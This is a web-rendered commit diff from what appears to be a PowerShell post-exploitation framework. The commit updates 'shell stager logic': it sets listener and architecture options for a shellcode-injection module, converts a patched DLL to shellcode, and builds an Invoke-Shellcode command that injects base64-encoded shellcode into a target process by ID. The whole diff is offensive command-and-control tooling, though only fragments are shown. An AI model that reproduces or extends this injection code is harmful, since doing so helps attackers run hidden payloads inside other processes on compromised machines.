update shell stager logic
parent
54a6fba40f
commit
5eaf06a434
Binary file not shown.
|
@ -2158,7 +2158,7 @@ class PowerShellAgentMenu(SubMenu):
|
||||||
if line:
|
if line:
|
||||||
if self.mainMenu.modules.modules['powershell/management/shinject']:
|
if self.mainMenu.modules.modules['powershell/management/shinject']:
|
||||||
module = self.mainMenu.modules.modules['powershell/management/shinject']
|
module = self.mainMenu.modules.modules['powershell/management/shinject']
|
||||||
listenerID = line.split(' ')[0].strip()
|
listenerID = line.split(' ')[0]
|
||||||
arch = line.split(' ')[-1]
|
arch = line.split(' ')[-1]
|
||||||
module.options['Listener']['Value'] = listenerID
|
module.options['Listener']['Value'] = listenerID
|
||||||
module.options['Arch']['Value'] = arch
|
module.options['Arch']['Value'] = arch
|
||||||
|
|
|
@ -159,7 +159,7 @@ class Stagers:
|
||||||
flags = 0
|
flags = 0
|
||||||
flags |= 0x1
|
flags |= 0x1
|
||||||
|
|
||||||
sc = ConvertToShellcode(dllPatched, flags=flags)
|
sc = ConvertToShellcode(dllPatched)
|
||||||
|
|
||||||
return sc
|
return sc
|
||||||
|
|
||||||
|
|
|
@ -147,6 +147,9 @@ class Module:
|
||||||
|
|
||||||
# Add any arguments to the end execution of the script
|
# Add any arguments to the end execution of the script
|
||||||
|
|
||||||
script += "\n Invoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
|
#t = iter(sc)
|
||||||
|
#pow_array = ',0x'.join(a+b for a,b in zip(t, t))
|
||||||
|
#pow_array = "@(0x" + pow_array + " )"
|
||||||
|
script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
Loading…
Reference in New Issue